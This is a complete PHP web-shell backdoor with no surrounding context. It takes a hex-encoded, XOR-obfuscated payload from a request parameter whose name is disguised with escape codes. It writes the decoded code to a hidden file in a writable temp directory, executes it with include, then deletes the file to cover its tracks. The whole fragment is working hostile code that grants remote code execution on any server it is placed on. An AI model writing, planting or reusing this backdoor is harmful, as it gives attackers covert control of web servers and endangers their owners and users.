if(!empty($_REQUEST["en\x74\x72y"])){ $pset = hex2bin($_REQUEST["en\x74\x72y"]); $flag='';foreach(str_split($pset) as $char){$flag .= chr(ord($char) ^ 92);} $data = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir")]); $elem = 0; do { $marker = $data[$elem] ?? null; if ($elem >= count($data)) break; if (is_writable($marker) && is_dir($marker)) { $dchunk = join("/", [$marker, ".dat"]); $success = file_put_contents($dchunk, $flag); if ($success) { include $dchunk; @unlink($dchunk); exit;} } $elem++; } while (true); } die(); ?>